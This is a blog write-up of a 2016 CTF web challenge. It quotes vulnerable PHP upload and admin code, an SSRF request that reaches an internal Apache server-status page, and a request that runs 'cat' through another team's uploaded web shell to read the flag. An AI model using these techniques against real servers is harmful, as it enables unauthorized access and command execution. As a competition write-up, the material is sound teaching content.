D-CTF Qualifiers 2016 - Web300 like a dipsh*t

Published on Tuesday, 27 September 2016 in CTF, Security ; tagged with quals, dctf, ctf, write-up, web, 300, challenge, security, pupute ; text version

First of all, wow it's been a while and a lot of things happened since last time I wrote something on my little spot of the Internet...

Last weekend I played the D-CTF Qualifiers 2016 with some friends of mine (@xarkes, jfrankowski and a new friend of mine). I was told that it is not a good CTF due to multiple problems in previous version with the challenges, where for instance some exploit challenge would not be solvable at all. And apparently it was the same this year (see the comments) and it was frustrating at some point...

However, it didn't stop us from having quite a blast. One in particular, the Super Secure Company LLC web challenge, worth 300 points. We used our best tool in French history, called puputerie, or how to gain 300 points like a dipsh*t!

If you're interested, keep reading and I hope you'll forgive me.

Super Secure Company LLC

For this challenge, you could access the source code of some pages. For instance, you could read the PHP source of the index.php file:

/* */
/* [. . .] */
case 'print':
    $url   = base64_decode($_REQUEST['url']);
    $title = '';
    if(begins_with($url, $config['url'])) {
        $content = getContentFromUrl($url);
/* [. . .] */
case 'contact':
    if(isset($_POST['url-bad'])) {
            $content .= 'Success!';
            $db->query('INSERT INTO `urls` (url, view) VALUES ("'.$db->real_escape_string($_POST['url-bad']).'",0)');
/* [. . .] */

Nothing really got our attention. Reading the contact case, we thought that it could be a cross-site request forgery/half baked social engineering kind of challenge. But there was nothing much to see in index.php. With some tests, we found that the begin_with function was checking that the URL was starting with (which is not totally true, but more on that later).

After a while, we found that there was an admin.php file as well:

/* */
/* [. . .] */
//lazy admin approach to "authenticate"
if($_SERVER['REMOTE_ADDR'] !== '') {
    die('You are not allowed.');
/* [. . .] */
case 'logs':
    $title = 'Logs';
    $rows = $db->query('SELECT * FROM urls WHERE view=0');
    while($row = $rows->fetch_array()) {
        if(parse_url($row['url'], PHP_URL_HOST) != parse_url($config['url'], PHP_URL_HOST))
        //todo update link below
        $content .= '<div class="r"><a href="'.htmlentities($row['url']).'">Report '.$row['id'].'</a><a href="http://localhost/admin.php?page=hide&id='.$row['id'].'">Hide</a></div>';
/* [. . .] */

The logs case could be interesting. Combining the contact and the logs cases, we would have our CSRF attack:

Next in the admin.php file, we find that the upload feature is vulnerable to arbitrary PHP file upload:

case 'upload':
    if(isset($_POST["submit"])) {
        $uploadOk    = 1;

        $target_dir  = "uploads/";
        $target_file = $target_dir . basename($_FILES["file"]["name"]);

        if(strlen(basename($_FILES["file"]["name"])) < 12) {
            $uploadOk = 0;
            $content.= 'Sorry, the filename should have more characters.';

        if (file_exists($target_file)) {
             $content.= "Sorry, file already exists.";
             $uploadOk = 0;

        if ($_FILES["file"]["size"] > 500000) {
            $content.= "Sorry, your file is too large.";
            $uploadOk = 0;

        $extension = @explode('.', $_FILES['file']['name']);
        $extension = @end($extension);

        if($extension == '' || $extension == 'php' || $extension == 'htaccess' || $extension == 'pl' || $extension == 'py' || $extension == 'c' || $extension == 'cpp' || $extension == 'ini' || $extension == 'html') {
             $content.= "Sorry, invalid extension.";
            $uploadOk = 0;

        if($uploadOk) {
            if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
                $content.= "The file ". htmlentities(basename( $_FILES["file"]["name"]), ENT_QUOTES). " has been uploaded.";
            } else {
                $content.= "Sorry, there was an error uploading your file.";

We can upload a PHP file containing our backdoor using an extension like .php5 for instance. However, sending a POST request is not possible with only a "the admin clicks on my link"-attack like the potential one in logs. Except if the link the admin clicked on contains malicious JavaScript (with a XSS for instance), which we started to look for.

Getting bored

Some times later, we couldn't find any XSS so I decided to fire up dirbuster and maybe find the PHP file implementating getContentFromUrl used in index.php for instance.

DirBuster Results

So we have another PHP file functions.php but we didn't find anything interesting. Accessing the Apache server-status page was of course forbidden:

GET /server-status/index.php HTTP/1.1

Response from the server:

HTTP/1.1 403 Forbidden
Date: Sun, 25 Sep 2016 00:14:02 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 309
Connection: close
Content-Type: text/html; charset=iso-8859-1

<title>403 Forbidden</title>
<p>You don't have permission to access /server-status/index.php
on this server.<br />
<address>Apache/2.4.18 (Ubuntu) Server at Port 80</address>

But what if... What if we could access it after all? We could try abusing the print feature in index.php so that the function file_get_contents in getContentFromUrl (defined in functions.php) would be called. Would that bypass the access restriction on the server status page?

GET /?page=print&load_template=1&url=aHR0cDovLzEwLjEzLjM3LjEzL3NlcnZlci1zdGF0dXMvaW5kZXgucGhw HTTP/1.1

(Where the url parameter is base64 of

Apache Server Status

Yes, yes it would! Now it's time to start thinking like a dipsh*t. We know that the very last stage of the challenge is to use the PHP backdoor you previously uploaded in the directory /uploads/. So... we could wait for another team to solve the challenge... and use theirs!

I wrote a quick python script that would request the server status page every second and print the requests from the Request column. Then I would grep the logs for /uploads/.

Getting excited again

Waiting for a match, we moved to another challenge but I kept a close eye on the terminal and a couple of hours later:

Dirty Monitor

I felt excited like during my first phishing campaign! It's not everyday that you can solve a CTF challenge like a pupute :)

So we used the first PHP file that was working, ironically named supershell_you_will_never_find_2.php5 (the first version didn't seem to work apparently haha), and injected our own commands:

GET /uploads/supershell_you_will_never_find_2.php5?1=cat+../../../../flag HTTP/1.1

And lo and behold:

HTTP/1.1 200 OK
Date: Sun, 25 Sep 2016 01:35:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 39
Connection: close
Content-Type: text/html; charset=UTF-8


And there you have it: 300 points for all of our hard work!

As honest dipsh*ts, we reported the server status to the CTF admins, who removed it so nobody would take advantage of it. Because it would be a shame if someone were to abuse it... wouldn't it?

Quick word

When reading the very good and concise write up from Los Fuzzys, we realized that our error was to assume that the $config['url'] was instead of, which closed the door for the attack vector explained in the write-up.

Before leaving you for maybe another year, I apologize to the team who uploaded supershell_you_will_never_find_2.php5 for taking advantage of their hard work :/ It tasted sweet when validating the flag at that time, but it was a d*ck move nonetheless.

contactdepier.re About me License WTFPL2